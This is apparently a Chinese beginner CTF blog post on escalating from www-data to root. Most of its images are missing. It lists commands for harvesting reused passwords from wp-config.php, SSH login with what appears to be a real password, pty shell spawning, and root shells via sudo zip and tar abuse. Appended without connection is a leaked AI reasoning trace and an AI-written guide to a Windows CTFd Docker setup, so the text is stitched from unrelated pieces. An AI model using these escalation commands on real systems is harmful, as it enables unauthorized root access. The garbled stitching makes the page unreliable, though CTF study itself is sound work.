小白学习CTF第十一天-web安全提权

本文详细介绍了从www-data权限开始的Web安全提权过程,包括内核漏洞利用、明文root密码获取、计划任务利用、密码复用技巧、SSH远程登录、sudo权限提升等关键步骤。通过具体操作如配置文件挖掘、zip与tar命令的巧妙运用,最终实现权限提升并获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

web安全提权

在这里插入图片描述

提权介绍

在这里插入图片描述
根据之前得到www-data权限,准备进行提权:
在这里插入图片描述

内核漏洞提权

在这里插入图片描述
在这里插入图片描述

明文root密码提权

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

计划任务

在这里插入图片描述

密码复用

在这里插入图片描述

sudo -l
cd /home
cd zico
ls -alh(发现ssh隐藏文件,wordpress)
cd wordpress(挖掘配置文件,发现wp-config.php)
cat wp-config.php(密码复用)
ssh zico@ip(远程登陆)
sWfCsfJSPV9H3AmQzw8
python -c "import pty;pty.spawn('/bin/bash')"
sudo -l(提权提示)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
ssh如果出现类似的警告:使用后面的处理办法。
在这里插入图片描述
mv /root/.ssh/known_hosts /tmp在这里插入图片描述
之后再次使用ssh登陆即可正常使用了。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

//利用zip进行提权
touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"
//利用tar进行提权
sudo -u root tar cf /dev/null exploit -checkpoint=1 --checkpoint-action="/bin/bash"

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

获取flag

在这里插入图片描述

<think>我们正在配置一个Windows11电脑作为本地CTF比赛环境。需要安装的组件包括:1.CTF管理平台(例如CTFd)2.Docker容器环境(用于运行题目容器) 3.数据库服务(CTFd通常使用MySQL或PostgreSQL)4.Redis缓存(用于CTFd的缓存和队列)5.Nginx反向代理(可选,用于管理多个服务或供静态资源)此外,我们还需要进行性能优化。由于Windows11支持WSL2(WindowsSubsystemfor Linuxversion2),我们可以在WSL2中运行一个Linux发行版(如Ubuntu)来部署这些服务,因为大多数CTF平台和工具都是为Linux设计的。步骤概览:1.启用WSL2并安装Ubuntu2.安装DockerDesktop forWindows并配置与WSL2集成3.在WSL2的Ubuntu中安装CTFd及其依赖(数据库、Redis等)4.配置Nginx反向代理(可选) 5.性能优化(包括WSL2、Docker和系统设置) 详细步骤:###1.启用WSL2并安装Ubuntu-以管理员身份打开PowerShell,运行:```powershellwsl --install```此命令会启用所需的WSL功能并安装默认的Ubuntu发行版。如果需要安装特定版本,可以使用`wsl --list--online`查看可用发行版,然后使用`wsl --install -d <DistroName>`安装。 -安装完成后,重启电脑。-打开Ubuntu应用,完成初始设置(创建用户名和密码)。###2.安装DockerDesktop forWindows-下载Docker Desktopfor Windows(支持WSL2后端):[https://www.docker.com/products/docker-desktop](https://www.docker.com/products/docker-desktop) -安装时确保选择使用WSL2引擎(安装过程中有选项)。 -安装完成后,打开Docker Desktop设置,在“General”中勾选“Use theWSL2based engine”,并在“Resources”>“WSL Integration”中启用与已安装的Ubuntu发行版的集成。-验证:在Ubuntu终端中运行`docker--version`和`docker runhello-world`,确认Docker正常工作。###3.在WSL2中部署CTFdCTFd是一个流行的CTF平台,我们可以使用Docker Compose来安装CTFd及其依赖。-在Ubuntu终端中,创建一个目录并进入:```bashmkdir ctfdcdctfd``` -创建`docker-compose.yml`文件,内容如下(这里使用CTFd官方供的DockerCompose示例,并添加Redis和数据库):```yamlversion: '3'services:ctfd:image:ctfd/ctfd:latestenvironment:- UPLOAD_FOLDER=/var/uploads-DATABASE_URL=mysql+pymysql://root:ctfd@db/ctfd-REDIS_URL=redis://cache:6379- WORKERS=1ports:- "8000:8000"volumes:- .data/ctfd:/var/uploads- .:/opt/CTFddepends_on:- db- cacherestart:alwaysdb:image:mariadb:10.4environment:-MYSQL_ROOT_PASSWORD=ctfd-MYSQL_USER=ctfd-MYSQL_PASSWORD=ctfd- MYSQL_DATABASE=ctfdvolumes:-.data/mysql:/var/lib/mysqlrestart: alwayscache:image: redis:4restart:always```注意:这里使用了MariaDB作为数据库,Redis作为缓存。我们将CTFd的端口映射到主机的8000端口。 -启动CTFd:```bashdocker-composeup -d```等待所有容器启动后,访问`http://localhost:8000`即可进入CTFd的初始化设置页面。###4.配置Nginx反向代理(可选) 如果需要在同一台机器上运行多个服务,或者希望通过80/443端口访问,可以配置Nginx反向代理。-在Ubuntu中安装Nginx:```bashsudoapt updatesudo aptinstall nginx```-配置反向代理:编辑`/etc/nginx/sites-available/ctfd`,添加如下内容:```nginxserver{listen80;server_name localhost;location/ {proxy_pass http://localhost:8000;proxy_set_headerHost $host;proxy_set_headerX-Real-IP $remote_addr;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;}}```-启用配置:```bashsudoln -s /etc/nginx/sites-available/ctfd/etc/nginx/sites-enabled/sudonginx-tsudo systemctl restartnginx```现在可以通过`http://localhost`访问CTFd。###5.性能优化- **WSL2优化**:调整WSL2的内存和CPU使用限制。在用户目录下创建`.wslconfig`文件(例如`C:\Users\<用户名>\.wslconfig`),内容如下:```ini[wsl2]memory=4GB#限制内存使用,根据实际内存调整processors=2 #限制使用的CPU核心数swap=1GB#交换空间```重启WSL:在PowerShell中运行`wsl --shutdown`,然后重新打开Ubuntu。- **Docker优化**:在DockerDesktop设置中,调整分配给Docker的资源(CPU、内存)。确保不要超过WSL2分配的总内存。- **数据库优化**:根据CTFd的负载调整数据库配置(如InnoDB缓冲池大小等)。可以在MariaDB容器的配置文件中设置,或者通过环境变量。- **Redis优化**:调整Redis的最大内存使用和策略,避免内存溢出。 -**CTFd优化**:根据参赛人数调整CTFd的`WORKERS`数量(在`docker-compose.yml`中),增加工作者进程可以高并发处理能力。 -**系统优化**:在Windows11中,确保系统有足够的资源分配给WSL2和Docker。关闭不必要的后台应用,调整电源选项为“高性能”。###注意事项-数据持久化:在`docker-compose.yml`中,我们使用了卷来持久化数据库和上传文件,确保重启后数据不丢失。 -安全性:此环境仅用于本地模拟,不要暴露到公网。如果需要在局域网中分享,请设置防火墙规则,并修改默认密码(特别是数据库的root密码)。 完成以上步骤后,你的Windows11电脑就配置好了一个本地的CTF比赛环境。你可以通过CTFd管理平台添加题目,题目可以使用Docker容器来部署。§§相关问题§§1.如何为CTFd添加动态题目(Docker容器题目)?2.如何备份和恢复CTFd平台的数据?3.在Windows11上运行Docker和WSL2的常见问题及解决方法有哪些? 4.如何配置HTTPS访问CTFd平台?</think>### Windows 11 CTF训练环境部署指南 #### 1. 启用WSL2并安装Ubuntu ```powershell # 以管理员身份打开PowerShell wsl --install -d Ubuntu-22.04 wsl --set-default-version 2 ``` - 安装后重启系统,完成Ubuntu初始化设置 - 验证安装:`wsl -l -v` 应显示Ubuntu状态为`Running`[^2] #### 2. 安装Docker环境 ```powershell # 安装Docker Desktop winget install Docker.DockerDesktop # 在WSL中配置Docker守护进程 sudo usermod -aG docker $USER new-item -path "~/.wslconfig" -value "[wsl2]`nmemory=4GB`nprocessors=2" ``` - 在Docker Desktop设置中启用**WSL2集成** - 验证:`docker run hello-world`应成功运行 #### 3. 部署CTFd平台 ```bash # 在WSL中创建CTFd目录 mkdir ~/ctfd && cd ~/ctfd # 创建docker-compose.yml cat > docker-compose.yml <<EOF version: '3' services: ctfd: image: ctfd/ctfd:latest ports: - "8000:8000" volumes: - .data/ctfd:/var/uploads environment: - DATABASE_URL=mysql://ctfd:ctfd@db/ctfd - REDIS_URL=redis://cache:6379/0 depends_on: - db - cache db: image: mariadb:10.4 environment: MYSQL_ROOT_PASSWORD: ctfd MYSQL_USER: ctfd MYSQL_PASSWORD: ctfd MYSQL_DATABASE: ctfd volumes: - .data/mysql:/var/lib/mysql cache: image: redis:6 EOF # 启动服务 docker-compose up -d ``` - 访问 `http://localhost:8000` 完成初始化设置 - 管理员账户配置在首次访问时创建 #### 4. 配置Nginx反向代理 ```bash # 在WSL中安装Nginx sudo apt update && sudo apt install nginx # 创建CTF代理配置 sudo tee /etc/nginx/sites-available/ctfd.conf <<EOF server { listen 80; server_name localhost; location / { proxy_pass http://localhost:8000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } } EOF # 启用配置 sudo ln -s /etc/nginx/sites-available/ctfd.conf /etc/nginx/sites-enabled/ sudo service nginx restart ``` #### 5. 性能优化措施 1. **WSL2优化** - 编辑 `C:\Users\<用户名>\.wslconfig`: ```ini [wsl2] memory=6GB # 根据物理内存调整 processors=4 # 分配CPU核心数 swap=2GB ``` - 禁用不必要的GUI功能:`wsl --shutdown` 2. **Docker优化** ```powershell # 限制容器资源 docker update --cpus 2 --memory 1g ctfd_ctfd_1 ``` - 在Docker Desktop设置中启用**SSD缓存** 3. **数据库优化** ```sql -- 在MySQL容器中执行 SET GLOBAL innodb_buffer_pool_size = 512M; SET GLOBAL query_cache_size = 128M; ``` 4. **Redis配置** ```bash docker exec -it ctfd_cache_1 redis-cli CONFIG SET maxmemory 512mb CONFIG SET maxmemory-policy allkeys-lru ``` #### 6. 环境验证 1. 访问 `http://localhost` 应显示CTFd界面 2. 测试题目部署: ```bash # 示例Web题目 docker run -d -p 8080:80 vulnerables/web-dvwa ``` 3. 监控工具: - `docker stats` 查看容器资源使用 - `wsl --status` 检查WSL状态 ### 常见问题解决 - **端口冲突**:修改`docker-compose.yml`中的端口映射 - **性能瓶颈**:调整`.wslconfig`内存设置 - **数据库连接失败**:检查`docker-compose.yml`环境变量 - **WSL启动失败**:在PowerShell执行`wsl --update` > 部署完成后,你的本地环境将包含:CTFd管理平台、MySQL数据库、Redis缓存、Nginx代理,以及完整的Docker题目支持,可模拟真实CTF比赛场景[^1]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值